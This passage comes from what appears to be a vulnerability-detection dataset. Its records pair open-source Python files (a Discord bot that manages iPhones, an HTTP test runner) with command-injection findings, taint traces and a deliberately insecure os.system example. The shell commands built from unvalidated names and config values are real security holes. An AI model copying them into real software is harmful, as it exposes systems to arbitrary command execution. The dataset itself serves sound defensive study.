1329, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 1392, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "1392"}}, {"lineNo": 1393, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "rerun.re[\"devices\"]"}}, {"lineNo": 1393, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 1393, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 1395, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "str"}}, {"lineNo": 1395, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "run_"}}]}}
{"id": "4158c4a7074ed971584608b31962dca25096d8dfba600e95acd166220b23e147", "license": {"spdx": ["MIT"], "repo": "karenleewaddell/iPhone_Manager", "path": "iphone_manager.py", "repo_head_hexsha": "ce683c349cbb2ed03cb96b9cf21adc17903bb861", "stack_hexsha": "6ccd772b6551e6f64f8a47c7fc86c3a1b0ee9be4", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 215, "entireCode": "#\tiPhone Manager bot by Oldmole\n#\tNo support will be provided, this code is provided \"as is\" without warranty of any kind, either express or implied. Use at your own risk.\n#\tThe use of the software and scripts is done at your own discretion and risk and with agreement that you will be solely responsible for any damage\n#   to your computer system or loss of data that results from such activities.\n#\n\n#\tIf you like the bot and would like buy me a pint, DM @oldmole#3895 and ask for my Paypal info\n#\tIf you update the bot, please send me a copy! :-)\n#\tGITHUB : https://github.com/sonofmole/iPhone_Manager\n\nimport sys\nimport yaml\nimport sqlite3\nimport hashlib\nimport discord\nimport psutil\nfrom discord.ext import commands\nimport subprocess\nimport asyncio\nfrom subprocess import Popen, PIPE\nfrom sqlite3 import OperationalError\nimport time\nimport math\n\nclass IPhone:\n\tdef __init__(self, device_uuid, iphone_name, iphone_id):\n\t\tself.device_uuid = device_uuid\n\t\tself.iphone_name = iphone_name\n\t\tself.iphone_id = iphone_id\n#   A list of the commands\ncommand_list = [\n\t\"!sc {name of iphone} or !sc {iphone ID}\",\n\t \"Screenshots an iphone and uploads that screenshot to discord\\n\",\n\t \"!list iphones\", \"Lists the name and ID of all the available iphones\\n\",\n\t \"!kill usb\",\"Finds the proccess ID for usbmuxd and kill's it\\n\",\n\t \"!mac grab\",\n\t \"Takes a screengrab of your Mac and uploads that screengrab to discord\\n\",\n\t \"!reboot {name of iphone} or !reboot {iphone ID}\",\n\t \"Reboot's an iPhone\\n\",\n\t \"!reload {name of iphone} or !reload {iphone ID}\",\n\t \"Find's and kill's the PID for an iPhone's Xcode. Pogo will start again\\n\",\n\t \"!log {name of iphone} or !log {iphone ID}\",\n\t \"The bot will print out x lines from the device log file (x is set the config file)\\n\",\n\t \"!uplog {name of iphone} or !uplog {iphone ID}\",\n\t \"The bot upload the device's log file with the last x lines (x is set the config file)\\n\",\n\t \"!help\",\n\t \"Displays this list\"\n ]\n\nprint(\"The iPhone Manager by Oldmole ready!\")\n\n\ntry:\n\twith open(r'config.yaml') as file:\n\t\tdocuments = yaml.safe_load(file)\nexcept FileNotFoundError:\n\tprint (\"**** FULL STOP! ***** config.yaml NOT FOUND! ****\")\n\tsys.exit()\n\n#logpath = documents.get(\"logpath\")\nloglines = documents.get(\"loglines\")\nuploglines = documents.get(\"uploglines\")\ntoken = documents.get(\"token\")\nrole = documents.get(\"role\")\nchannel = documents.get(\"channel\")\niphone_list = []\nlog_list = documents.get(\"logpath\")\ndatabase_list = documents.get(\"paths\")\ndb_count = len(database_list)\ndb_error = 0\n\nfor dpath in database_list:\n\ttry:\n\t\tconnection = sqlite3.connect(dpath)\n\t\tcursor = connection.cursor()\n\t\tcursor.execute('SELECT * FROM device LIMIT 1,100')\n\t\trows = cursor.fetchall()\n\t\tfor row in rows:\n\t\t\tuuid, name = row[0], row[1]\n\t\t\tdigest = hashlib.sha1((uuid + name).encode()).hexdigest()\n\t\t\tiphone_list.append(IPhone(uuid, name, digest[:4]))\n\t\t\tconnection.commit()\n\texcept sqlite3.OperationalError:\n\t\tdb_error += 1\n\t\tprint (\"*** Error reading from %s database\" % dpath)\n\t\tprint (\"*** Wrong database name or path? ***\")\n\t\tprint (\"\\n\")\n\tfinally:\n\t\tconnection.close()\n\t\tif db_error == db_count:\n\t\t\tprint (\"**** FULL STOP! ***** Can't read from any database ****\")\n\t\t\tsys.exit()\n\n\nasync def reboot_command(params, message):\n\tparams = ''.join(params)\n\tfor x in iphone_list:\n\t\tif params == x.iphone_name or params == x.iphone_id:\n\t\t\ta = x.iphone_name\n\t\t\tb = x.device_uuid\n\t\t\tcp = subprocess.run([\"idevicediagnostics\", \"-u\", b, \"restart\"], universal_newlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\t\t\tif cp.returncode == 0:\n\t\t\t\tawait message.channel.send(\"%s is rebooting\" % a)\n\n\t\t\telse:\n\t\t\t\tawait message.channel.send(\"Sorry, something has gone wrong... is the device connected?\")\n\nasync def reload_command(params, message):\n\tparams = ''.join(params)\n\tawait message.channel.send(\"Can I get a reload\")\n\tfor x in iphone_list:\n\t\tif params == x.iphone_name or params == x.iphone_id:\n\t\t\ta = x.iphone_name\n\t\t\tb_device_uuid = x.device_uuid\n\t\t\tfor proc in psutil.process_iter(): \n\n\t\t\t\ttry:\n\t\t\t\t\tpinfo = proc.as_dict(attrs=['pid', 'name', 'cmdline'])\n\t\t\t\texcept psutil.NoSuchProcess:\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\tif pinfo[\"name\"] == \"xcodebuild\":\n\t\t\t\t\t\tcmdline = \" \".join(pinfo[\"cmdline\"])\n\t\t\t\t\t\tif (b_device_uuid) in cmdline:\n\t\t\t\t\t\t\tp = psutil.Process(pinfo[\"pid\"])\n\t\t\t\t\t\t\tp.kill()\n\t\t\t\t\t\t\tawait message.channel.send(\"Yes, Done\")\n\t\t\t\t\t\t\treturn\n\n\tawait message.channel.send(\"Something has gone wrong\")\n\nasync def kill_command(params, message):\n\tparams = ''.join(params)\n\tif params == \"usb\":\n\t\tname = \"\"\n\t\tawait message.channel.send(\"Trying to finding and Kill usbmuxd. If I find it I will let you know\")\n\t\tfor proc in psutil.process_iter(): \n\n\t\t\ttry:\n\t\t\t\tpinfo = proc.as_dict(attrs=['pid', 'name'])\n\t\t\texcept psutil.NoSuchProcess:\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tif pinfo[\"name\"] == \"usbmuxd\":\n\t\t\t\t\tp = psutil.Process(pinfo[\"pid\"])\n\t\t\t\t\tp.kill()\n\t\t\t\t\tawait message.channel.send(\"Found and Killed it\")\n\t\t\t\t\treturn\n\n\telse:\n\t\tawait message.channel.send(\"Sorry, something has gone wrong\")\n\t\treturn\t\t\t\t\n\nasync def help_command(params,message):\n\tparams = ''.join(params)\n\tif len(params) ==0:\n\t\tawait message.channel.send(\"You have these commands available: \\n\")\n\t\tawait message.channel.send(\"\\n\".join(command_list))\n\nasync def mac_command(params, message):\n\tparams = ''.join(params)\n\tif params == \"grab\":\n\t\tcp = subprocess.run([\"screencapture\", \"mac.jpg\"], universal_newlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\t\t\n\t\tif cp.returncode == 0:\n\t\t\tawait message.channel.send(\"Taken a Mac Screengrab\")\n\t\t\tawait asyncio.sleep(1)\n\t\t\tawait message.channel.send(file=discord.File('mac.jpg'))\n\nasync def list_iphones_command(params,message):\n\tparams = ''.join(params)\n\tif params != \"iphones\":\n\t\treturn\n\telse:\n\t\tawait message.channel.send(\"You have these iphones in your list:\")\n\t\tname_list = []\n\t\tfor x in iphone_list:\n\t\t\tname_and_id = \" with an ID of \".join([x.iphone_name,x.iphone_id])\n\t\t\tname_list.append(name_and_id)\n\t\tawait message.channel.send(\"\\n\".join(name_list))\n\n\t\t\nasync def screengrab_command(params, message):\n\tparams = ''.join(params)\n\tfor x in iphone_list:\n\t\tif params == x.iphone_name or params == x.iphone_id:\n\t\t\ta = x.iphone_name\n\t\t\tb = x.device_uuid\n\n\t\t\tcp = subprocess.run([\"idevicescreenshot\", \"-u\", b, \"phone.jpg\"], universal_newlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n\t\t\tif cp.returncode == 0:\n\t\t\t\tawait message.channel.send(\"Taken a screenshot\")\n\t\t\t\tawait asyncio.sleep(1)\n\t\t\t\tawait message.channel.send(file=discord.File('phone.jpg'))\n\t\t\t\treturn\n\n\t\t\telse:\n\t\t\t\tawait message.channel.send(\"Sorry, something has gone wrong... is the device connected?\")\n\t\t\t\treturn\n\t\t\n\tawait message.channel.send(\"Sorry, something has gone wrong... can't find this device\")\n\n\nasync def get_log(params, message):\n\tparams = ''.join(params)\n\tfor x in iphone_list:\n\t\tif params == x.iphone_name or params == x.iphone_id:\n\t\t\tdname = x.iphone_name\n\t\t\tdname_formatted = '\"*'+dname+'*\"'\t\n\t\t\tcmd = \"find . -name %s -name \\\"*full*\\\" -mtime -30m | head -1\" %dname_formatted\n\t\t\tfor xpath in log_list:\n\t\t\t\tlogpath = xpath\n\t\t\t\ttry:\n\t\t\t\t\tgetlogfilename = subprocess.run(cmd,shell=True, check=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, universal_newlines=True,cwd=logpath)\n\t\t\t\t\tglfn_output = getlogfilename.stdout.strip('\\n')\n\t\t\t\t\tif glfn_output != (\"\"):\n\t\t\t\t\t\tbreak\n\t\t\t\texcept subprocess.CalledProcessError:\n\t\t\t\t\treturn\n\t\t\tglfn_output = '\"'+glfn_output+'\"'\n\t\t\tcmd2 = \"tail -%d %s > tempfile\" % (loglines ,glfn_output)\n\t\t\ttry:\n\t\t\t\treadfile = subprocess.run(cmd2,shell=True, check=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, universal_newlines=True,cwd=logpath)\t\n\t\t\t\trf_output2 = readfile.stdout.strip('\\n')\n\t\t\texcept subprocess.CalledProcessError:\n\t\t\t\tawait message.channel.send(\"Sorry command failed, log not found\")\n\t\t\t\treturn\t\n\t\t\ti , line_loop , line_loop1, = 0 , 1 , 10\n\t\t\tlog_loop = loglines / 10\n\t\t\tlog_loop = (math.ceil(log_loop))\n\t\t\twhile i < log_loop:\n\t\t\t\tcmd3 = \"sed -n %d,%dp tempfile > tempout\" %(line_loop,line_loop1)\n\t\t\t\tcmd3p = subprocess.run(cmd3,shell=True, check=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, universal_newlines=True,cwd=logpath)\n\t\t\t\tcmd4 = \"head -10 tempout\"\n\t\t\t\treadline1 = subprocess.run(cmd4,shell=True, check=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, universal_newlines=True,cwd=logpath)\n\t\t\t\trf_output3 = readline1.stdout.strip('\\n')\n\t\t\t\ttime.sleep(.900)\n\t\t\t\tawait message.channel.send(\"```%s```\" % rf_output3)\n\t\t\t\ti += 1\n\t\t\t\tline_loop += 10\n\t\t\t\tline_loop1 += 10\n\t\t\treturn\n\t\n\nasync def up_log(params, message):\n\tparams = ''.join(params)\n\tfor x in iphone_list:\n\t\tif params == x.iphone_name or params == x.iphone_id:\n\t\t\tdname = x.iphone_name\n\t\t\tdname_formatted = '\"*'+dname+'*\"'\n\t\t\tcmd = \"find . -name %s -name \\\"*full*\\\" -mtime -30m | head -1\" %dname_formatted\n\t\t\tfor xpath in log_list:\n\t\t\t\tlogpath = xpath\n\t\t\t\ttry:\n\t\t\t\t\tgetlogfilename = subprocess.run(cmd,shell=True, check=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, universal_newlines=True,cwd=logpath)\n\t\t\t\t\tglfn_output = getlogfilename.stdout.strip('\\n')\n\t\t\t\t\tif glfn_output != (\"\"):\n\t\t\t\t\t\tbreak\n\t\t\t\texcept subprocess.CalledProcessError:\n\t\t\t\t\treturn\n\t\t\tglfn_output = '\"'+glfn_output+'\"'\n\t\t\tlogname = '\"'+dname+'.log\"'\n\t\t\tcmd2 = \"tail -%d %s > %s\" % (uploglines ,glfn_output, logname)\n\t\t\ttry:\n\t\t\t\treadfile = subprocess.run(cmd2,shell=True, check=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, universal_newlines=True,cwd=logpath)\t\n\t\t\t\trf_output2 = readfile.stdout.strip('\\n')\n\t\t\texcept subprocess.CalledProcessError:\n\t\t\t\tawait message.channel.send(\"Sorry command failed, log not found\")\n\t\t\t\treturn\n\t\t\tawait message.channel.send(\"Uploading your last %d logfile line\" %uploglines)\n\t\t\tlogname = ''+dname+'.log'\n\t\t\tawait message.channel.send(file=discord.File('%s/%s' % (logpath,logname)))\n\t\t\treturn\n\n\n\n\ncommand_dict = {\n\n\"!sc\": screengrab_command,\n\"!help\": help_command,\n\"!reboot\": reboot_command,\n\"!reload\": reload_command,\n\"!mac\": mac_command,\n\"!list\" : list_iphones_command,\n\"!kill\" : kill_command,\n\"!log\" : get_log,\n\"!uplog\" : up_log\n}\n\nasync def check_command(message_text,message):\n\tparts = message_text.split(\" \",1)\n\tcmd = parts[0]\n\tparams = parts[1:]\n\n\tif cmd in command_dict:\n\t\tawait command_dict[cmd](params,message)\n\telse:\n\t\treturn\n\n\n\t\nclient = discord.Client()\n@client.event\nasync def on_ready():\n\t\n\tactivity = discord.Game(name=\"Taking Selfies\")\n\tawait client.change_presence(status=discord.Status.online, activity=activity)\t\n\nasync def send_message(message):\n\tawait message.channel.send(message)\n\n@client.event\nasync def on_message(message):\n\tif message.author == client.user:\n\t\treturn\n\tif str(message.channel) != channel:\n\t\treturn\n\tauthor_roles = map(lambda x: x.name, message.author.roles)\n\tif role not in author_roles:\n\t\treturn\n\n\tmessage_text = message.content\n\tawait check_command(message_text,message)\n\n\t\t\t\t\t\t\nclient.run(token)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 208, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "208"}}, {"lineNo": 215, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "3d7c0cc9d3f2f4474a94762174a42838b9d717a89a0f0a1b851d7946fcfe446a", "license": {"spdx": ["Apache-2.0"], "repo": "HttpTesting/pyhttp", "path": "httptesting/main.py", "repo_head_hexsha": "5fd9deddbd920b905297ec64215d502d41d48d2c", "stack_hexsha": "8090b7d8a4222966bc351912bad35d98958fbb28", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 347, "entireCode": "# ########################################################\n# 将根目录加入sys.path中,解决命令行找不到包的问题\nimport sys\nimport os\ncurPath = os.path.abspath(os.path.dirname(__file__))\nrootPath = os.path.split(curPath)[0]\nsys.path.insert(0, rootPath)\n# ########################################################\nimport shutil\nimport time\nfrom httptesting.library import gl\nfrom httptesting.library import scripts\nfrom httptesting.library.parse import parse_string_value\nfrom httptesting.library.scripts import (write_file,\n                                         read_file,\n                                         remove_file,\n                                         update_yam_content\n                                         )\nfrom httptesting.library.config import conf\nfrom httptesting.library.emailstmp import EmailClass\nfrom httptesting.library.falsework import create_falsework\nfrom httptesting.library.har import ConvertHarToYAML\nfrom httptesting import __version__\nimport argparse\n\n########################################################################\n\"\"\"\nCommand line mode.\n\"\"\"\n\n\ndef _parse_config(config):\n    \"\"\"\n    Parse config parameters.\n    \"\"\"\n    if config:\n        # Setting global var.\n        if config[0] == 'set' and config.__len__() == 1:\n            try:\n                os.system(gl.configFile)\n            except (KeyboardInterrupt, SystemExit):\n                print(\"已终止执行.\")\n        elif config[0] == 'set' and len(config) == 2 and '=' in config[1]:\n            cf = config[1].split(\"=\")\n            update_yam_content(gl.configFile, cf[0], parse_string_value(cf[1]))\n\n        elif config[0] == 'get' and len(config) == 2 and '=' not in config[1]:\n            content = conf.get_yaml_field(gl.configFile)\n\n            try:\n                print(content[config[1]])\n            except KeyError as ex:\n                print('[KeyError]: {}'.format(ex))\n        else:\n            print('Unknown command: {}'.format(config[0]))\n\n\ndef _convert_case_to_yaml(vert):\n    \"\"\"\n    Convert case to YAML.\n    \"\"\"\n    if vert:\n        yamlfile = os.path.join(os.getcwd(), str(vert).strip())\n        scripts.generate_case_tmpl(yamlfile)\n\n\ndef _convert_httphar_to_yaml(har):\n    \"\"\"\n    Convert http.har to YAML.\n    \"\"\"\n    if har:\n        temp_dict = ConvertHarToYAML.convert_har_to_ht(har)\n        ConvertHarToYAML.write_case_to_yaml('', temp_dict)\n\n\ndef _false_work(start_project):\n    \"\"\"\n    False work.\n    \"\"\"\n    if start_project:\n        create_falsework(os.path.join(os.getcwd(), start_project))\n\n\ndef _get_file_yaml(case_file):\n    \"\"\"\n    Get file case YAML.\n    \"\"\"\n    temp_list = []\n    # Get the yaml file name and write to the queue.\n    if case_file:\n        # Specify the execution CASE.\n        fargs = '&#'.join(case_file)\n        temp_list.append(os.path.join(os.getcwd(), fargs))\n        cache_dir = os.path.join(gl.loadcasePath, \".am_cache\")\n        write_file(\n            os.path.join(cache_dir, 'yaml.cache'),\n            'w',\n            ';'.join(temp_list)\n        )\n        return True\n    return False\n\n\ndef _get_dirs_case_yaml(case_dir):\n    \"\"\"\n    Get dirs case YAML.\n    \"\"\"\n    temp_list = []\n    if case_dir:\n        for root, dirs, files in os.walk(case_dir):\n            for f in files:\n                if 'yaml' in f:\n                    d = os.path.join(os.getcwd(), case_dir)\n                    temp_list.append(os.path.join(d, f))\n        # 缓存目录\n        cache_dir = os.path.join(gl.loadcasePath, \".am_cache\")\n        # Write file absolute path to file.\n        write_file(\n            os.path.join(cache_dir, 'yaml.cache'),\n            'w',\n            ';'.join(temp_list)\n        )\n        return True\n    return False\n\n\ndef run_min():\n    \"\"\"\n    Perfrom interface test entry.\n\n    Args: None\n    Usage:\n        Command line execution.\n    Return:\n        There is no return.\n    \"\"\"\n\n    # Takes the current path of the command line\n    cur_dir = os.getcwd()\n    os.chdir(cur_dir)\n\n    parse = argparse.ArgumentParser(\n        description='httptesting HTTP(s) interface testing framework.',\n        prog='httptesting'\n        )\n    parse.add_argument(\n        \"-v\",\n        \"--version\",\n        action='version',\n        version=\"%(prog)s {}\".format(__version__),\n        help='Framework version.'\n        )\n    parse.add_argument(\n        \"-f\",\n        \"--file\",\n        nargs='+',\n        default='',\n        help='The file path; File absolute or relative path.'\n        )\n    parse.add_argument(\n        \"-d\",\n        \"--dir\",\n        default='',\n        help='The folder path; folder absolute or relative path.'\n        )\n    parse.add_argument(\n        \"-sp\",\n        \"--startproject\",\n        default='',\n        help='Generate test case templates.'\n        )\n    parse.add_argument(\n        \"-conf\",\n        \"--config\",\n        nargs=\"+\",\n        default='',\n        help='Basic setting of framework.'\n        )\n    parse.add_argument(\n        \"-har\",\n        default='',\n        help='Convert the har files to YAML. har file is *.har'\n        )\n    parse.add_argument(\n        \"-c\",\n        \"--convert\",\n        default='',\n        help='Convert the har files to YAML. YAML file is *.yaml'\n        )\n\n    # Command line arguments are assigned to varibales.\n    args = parse.parse_args()\n    case_file = args.file\n    case_dir = args.dir\n    start_project = args.startproject\n    config = args.config\n    har = args.har\n    vert = args.convert\n\n    # convert YAML.\n    _convert_case_to_yaml(vert)\n\n    # Convert har files to YAML.\n    _convert_httphar_to_yaml(har)\n\n    # Setting global var.\n    _parse_config(config)\n\n    # False work.\n    _false_work(start_project)\n\n    # Write file absolute path to file.\n    # Get the yaml file name and write to the queue.\n\n    _get_file_yaml(case_file)\n    _get_dirs_case_yaml(case_dir)\n    # Began to call.\n    RunTestCase.invoke()\n\n\n#########################################################################\n# Not in command mode --dir defaults to the testcase directory.\n# Example:\n# python3 main.py --dir=r\"D:\\test_project\\project\\cloud_fi_v2\\testcase\"\n#########################################################################\n\n\nclass RunTestCase(object):\n\n    @classmethod\n    def create_report_file(cls):\n        cls.file_name = 'report.html'\n        report_dir = os.path.join(\n            os.path.join(os.getcwd(), 'report'),\n            time.strftime('%Y%m%d_%H%M%S', time.localtime())\n        )\n\n        # 按日期创建测试报告文件夹\n        if not os.path.exists(report_dir):\n            # os.mkdir(report_dir)\n            os.makedirs(report_dir)\n        # 确定生成报告的路径\n        cls.filePath = os.path.join(report_dir, cls.file_name)\n\n        return cls.filePath\n\n    @staticmethod\n    def copy_custom_function():\n        # 自定义函数功能\n        func = os.path.join(os.getcwd(), 'extfunc.py')\n        target = os.path.join(gl.loadcasePath, 'extfunc.py')\n\n        if os.path.exists(func):\n            shutil.copy(func, target)\n\n    @staticmethod\n    def tmpl_msg(low_path):\n        # 发送钉钉模版测试结果\n        config = conf.get_yaml_field(gl.configFile)\n        # report外网发布地址ip+port\n        report_url = config['REPORT_URL']\n        # 钉钉标题\n        content = config['DING_TITLE']\n        # 从报告中取得测试结果数据 e.g. 3 tests; 2.23 seconds; 3 passed; 0 failed; 0 errors\n        file_result = os.path.join(gl.loadcasePath, 'result.cache')\n        #\n        result_content = read_file(file_result, 'r')\n        # Remove file\n        remove_file(file_result)\n\n        res_list = result_content.split(\";\")\n\n        # 发送钉钉消息\n        msg = \"\"\"{}执行【已完成】:\\n共{}个用例, 执行耗时{}秒, 通过{}, 失败{}, 错误{}, 通过率{}\\n测试报告: {}/{}\"\"\"\n        msg = msg.format(content, res_list[0], res_list[1],\n                         res_list[2], res_list[3], res_list[4],\n                         res_list[5], report_url, low_path)\n        return msg\n\n    @staticmethod\n    def run(path):\n        \"\"\"\n        Execute the test and generate the test report file.\n        Args:\n            path: Report file absolute path.\n        Return:\n            There is no return.\n        \"\"\"\n        config = conf.get_yaml_field(gl.configFile)\n        exe_con = config['ENABLE_EXECUTION']\n        exe_num = config['EXECUTION_NUM']\n        rerun = config['ENABLE_RERUN']\n        reruns_nums = config['RERUN_NUM']\n        repeat = config['ENABLE_REPEAT']\n        repeat_num = config['REPEAT_NUM']\n        exec_mode = config['ENABLE_EXEC_MODE']\n        debug_mode = config['ENABLE_DEBUG_MODE']\n        last_failed = config['ENABLE_LAST_FAILED']\n        failed_first = config['ENABLE_FAILED_FIRST']\n\n        # custom function\n        RunTestCase.copy_custom_function()\n\n        # failed first\n        failed_first_args = (' --ff ' if failed_first else '') if not last_failed else ''\n\n        # last failed\n        last_failed_args = (' --lf ' if last_failed else '') if not failed_first else ''\n\n        # Enable repeat case.\n        repeat_args = ' --count={} '.format(repeat_num) if repeat else ''\n\n        # Enable CPU concurrency\n        py_args = ' -n {} '.format(exe_num) if exe_con else ''\n\n        # Enable failed retry\n        reruns_args = ' --reruns {} '.format(reruns_nums) if rerun else ''\n\n        # debug mode print debug info.\n        debug = '' if debug_mode else '--tb=no'\n\n        \"\"\"\n        Load the pytest framework,\n        which must be written here or DDT will be loaded first.\n        from httptesting.case import test_load_case\n        \"\"\"\n        case_path = gl.loadcasePath\n        # Output mode console or report.\n        if exec_mode:\n            cmd = 'cd {} && py.test -q -s {} {} {} {}'.format(\n                case_path, reruns_args, 'test_load_case.py',\n                repeat_args, debug\n            )\n        else:\n            cmd = 'cd {} && py.test {} {} {} {} {} {} --html={} {} --self-contained-html'.format(\n                case_path,\n                py_args,\n                reruns_args,\n                last_failed_args,\n                failed_first_args,\n                'test_load_case.py',\n                repeat_args,\n                path,\n                debug\n            )\n        try:\n            os.system(cmd)\n        except (KeyboardInterrupt, SystemExit):\n            print('已终止执行.')\n\n    @staticmethod\n    def invoke():\n        \"\"\"\n        Start executing tests generate test reports.\n        :return: There is no.\n        \"\"\"\n        # CONFIG: Read configuration information\n        config = conf.get_yaml_field(gl.configFile)\n        dd_enable = config['ENABLE_DDING']\n        dd_token = config['DD_TOKEN']\n        dd_url = config['DING_URL']\n        email_enable = config['EMAIL_ENABLE']\n        # END CONFIG.\n\n        # Test report file name.\n        time_str = time.strftime('%Y%m%d_%H%M%S', time.localtime())\n        path = RunTestCase.create_report_file()\n\n        # Start test the send pin message.\n        if dd_enable:\n            scripts.send_msg_dding(\n                '{}:★开始API接口自动化测试★'.format(time_str),\n                dd_token,\n                dd_url\n            )\n\n        # Execute the test and send the test report.\n        RunTestCase.run(path)\n        if dd_enable:\n            # Template message.\n            dir_list = path.split('\\\\')\n            low_path = dir_list[len(dir_list) - 2]\n            msg = RunTestCase.tmpl_msg(low_path)\n            print(msg)\n            scripts.send_msg_dding(msg, dd_token, dd_url)\n\n        if email_enable:\n            # Send test report to EMAIL.\n            email = EmailClass()\n            email.send(path)\n\n\nif __name__ == \"__main__\":\n    run_min()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 289, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "get_yaml_field"}}, {"lineNo": 291, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "configRunTestCase.run.config[\"EXECUTION_NUM\"]"}}, {"lineNo": 293, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "configRunTestCase.run.config[\"RERUN_NUM\"]"}}, {"lineNo": 295, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "configRunTestCase.run.config[\"REPEAT_NUM\"]"}}, {"lineNo": 311, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 314, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 317, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 334, "eventType": "source", "messageKey": "synz.COMMON.branch.false.assumed", "params": {"arg0": "334"}}, {"lineNo": 335, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 335, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 347, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "bee6017dbfc6ed1ff4e6db7cc143f08761de0d3ddbe0960a6f7fad98c3d081fd", "license": {"spdx": ["Apache-2.0"], "repo": "isabella232/snafu", "path": "snafulib/executors/openshift.py", "repo_head_hexsha": "91cc181f4073fa16d5be9ae6202342102f75d128", "stack_hexsha": "97d1eed2070eaf000dcbdb4bf3fe9d744a01be14", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 19, "entireCode": "# Snafu: Snake Functions - OpenShift Executor\n\nimport requests\nimport os\nimport 